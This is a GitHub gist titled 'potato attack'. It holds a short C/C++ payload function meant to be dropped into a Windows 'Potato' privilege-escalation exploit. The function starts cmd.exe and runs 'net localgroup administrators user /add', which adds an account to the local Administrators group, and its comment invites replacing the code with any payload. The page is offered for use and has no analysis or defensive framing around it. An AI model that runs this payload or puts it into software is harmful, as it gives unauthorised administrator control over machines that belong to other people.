Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Created June 8, 2023 15:35
Show Gist options
  • Save c0d3x27/c59f01683139d0ea1c872dba85f5203a to your computer and use it in GitHub Desktop.
Save c0d3x27/c59f01683139d0ea1c872dba85f5203a to your computer and use it in GitHub Desktop.
potato attack
void DoStuff() {
// Replace all this code by your payload
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment